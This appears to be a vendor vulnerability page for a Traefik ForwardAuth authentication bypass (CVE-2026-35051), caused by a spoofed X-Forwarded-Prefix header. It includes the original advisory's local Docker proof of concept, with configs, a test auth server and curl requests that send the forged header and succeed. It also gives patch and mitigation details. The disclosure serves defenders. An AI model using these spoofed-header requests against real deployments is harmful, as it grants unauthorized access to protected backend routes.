Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

GHSA-6384-m2mw-rf54 v3

CRITICAL

GHSA-6384-m2mw-rf54 is a critical-severity (CVSS 10) CWE-345 vulnerability in github.com/traefik/traefik/v3. A fix is available for github.com/traefik/traefik/v3 — see the affected versions and patch details below.

Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication

Also known asCVE-2026-35051GO-2026-5163
Published
Apr 24, 2026
Updated
Jun 25, 2026
Affected
4 pkgs
Patched
3 / 4
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6384-m2mw-rf54.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-6384-m2mw-rf54 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

4 pkgs affected
🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v2🐹github.com/traefik/traefik

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.

While X-Forwarded-* headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.

When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.

This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.

Details

The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.

In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:

func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
    utils.CopyHeaders(forwardReq.Header, req.Header)
    ...
    forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)

It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:

  • X-Forwarded-For
  • X-Forwarded-Method
  • X-Forwarded-Proto
  • X-Forwarded-Port
  • X-Forwarded-Host
  • X-Forwarded-Uri

However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.

This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/strip_prefix.go, Traefik appends the stripped prefix using Header.Add:

func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
    req.Header.Add(ForwardedPrefixHeader, prefix)

If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:

  1. /admin (attacker-controlled)
  2. /forbidden (Traefik-generated)

An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.

Why this appears unintended:

  • The docs say trustForwardHeader means "Trust all X-Forwarded-* headers" and defaults to false.
  • The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded-* headers and removed from untrusted sources.
  • The direct-to-Traefik test case behaves consistently with that expectation and returns 403.
  • Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.

Relevant source/documentation locations:

  • pkg/middlewares/auth/forward.go lines 393-459
  • pkg/middlewares/stripprefix/strip_prefix.go lines 65-68
  • pkg/middlewares/forwardedheaders/forwarded_header.go lines 15-43
  • docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140
  • docs/content/migrate/v3.md lines 192-196

This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.

PoC

The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.

  1. Create traefik.toml:
[entryPoints]
  [entryPoints.web]
    address = ":80"
    [entryPoints.web.forwardedHeaders]
      trustedIPs = ["172.31.79.0/24"]

[providers]
  [providers.file]
    filename = "/etc/traefik/dynamic.toml"
    watch = false

[log]
  level = "DEBUG"

[accessLog]
  1. Create dynamic.toml:
[http.routers]
  [http.routers.app]
    entryPoints = ["web"]
    rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
    middlewares = ["strip-forbidden", "authz"]
    service = "backend"

[http.middlewares]
  [http.middlewares.strip-forbidden.stripPrefix]
    prefixes = ["/forbidden"]

  [http.middlewares.authz.forwardAuth]
    address = "http://auth:8000/check"
    trustForwardHeader = false
    authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]

[http.services]
  [http.services.backend.loadBalancer]
    [[http.services.backend.loadBalancer.servers]]
      url = "http://backend:80"
  1. Create auth.py:
import json
from http.server import BaseHTTPRequestHandler, HTTPServer


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if not self.path.startswith("/check"):
            self.send_response(404)
            self.end_headers()
            return

        prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
        first = prefixes[0] if prefixes else ""
        payload = {
            "path": self.path,
            "first_prefix": first,
            "all_prefixes": prefixes,
            "x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
        }
        print(json.dumps(payload), flush=True)

        if first == "/admin":
            self.send_response(200)
            self.send_header("X-Auth-First-Prefix", first)
            self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
            self.end_headers()
            self.wfile.write(b"authorized\n")
            return

        self.send_response(403)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps(payload).encode() + b"\n")


HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
  1. Create frontend.conf:
server {
    listen 80;
    access_log /dev/stdout;

    location / {
        proxy_http_version 1.1;
        proxy_pass http://traefik:80;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
  1. Start the containers:
docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \
  --network traefik-readme-net \
  --network-alias backend \
  traefik/whoami

docker run -d --name traefik-readme-auth \
  --network traefik-readme-net \
  --network-alias auth \
  -v "$PWD/auth.py:/app/auth.py:ro" \
  -w /app \
  python:3.12-alpine \
  python /app/auth.py

docker run -d --name traefik-readme-traefik \
  --network traefik-readme-net \
  --network-alias traefik \
  -p 18081:80 \
  -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
  -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
  traefik:v3.6.12

docker run -d --name traefik-readme-frontend \
  --network traefik-readme-net \
  -p 18080:80 \
  -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
  nginx:alpine
  1. Send three requests:

Direct to Traefik, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18081/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, no spoofing:

curl -sS -i \
  -H 'Host: app.local' \
  http://127.0.0.1:18080/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18080/forbidden/test

Observed result:

HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

  1. Optional log confirmation from the auth service:
docker logs traefik-readme-auth

Observed log sequence:

{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
  1. Cleanup:
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net

Impact

This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

  • run Traefik behind a trusted upstream proxy
  • use ForwardAuth
  • rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers
  • pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty
  • make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.
</details>

Affected Packages

4 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/traefik/traefik/v33.7.0-ea.1&&< 3.7.0-rc.23.7.0-rc.2go get github.com/traefik/traefik/v3@v3.7.0-rc.2
🐹Gogithub.com/traefik/traefik/v33.0.0-beta1&&< 3.6.143.6.14go get github.com/traefik/traefik/v3@v3.6.14
🐹Gogithub.com/traefik/traefik/v2all versions2.11.43go get github.com/traefik/traefik/v2@v2.11.43
🐹Gogithub.com/traefik/traefikall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/traefik/traefik/v3 to 3.7.0-rc.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6384-m2mw-rf54 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-6384-m2mw-rf54 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-6384-m2mw-rf54. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Red Hat OpenShift Dev Spaces 3.28devspaces/traefik-rhel9:1779786779RHSA-2026:21772

Frequently Asked Questions

## Summary There is a high-severity authentication bypass vulnerability in Traefik's `ForwardAuth` middleware when `trustForwardHeader=false` is configured and Traefik is deployed behind a trusted upstream proxy. While `X-Forwarded-*` headers (such as `X-Forwarded-For`, `X-Forwarded-Host`, and `X-Forwarded-Proto`) from trusted context are correctly rebuilt, it does not strip or rebuild `X-Forwarded-Prefix`, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service. When the authentication service makes authorization decisions based on `X-Forwarded-
O3 Security · Impact-Aware SCA

Is GHSA-6384-m2mw-rf54 in your dependencies?

O3 Security finds GHSA-6384-m2mw-rf54 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-6384-m2mw-rf54: v3 (Critical 10) | O3 Security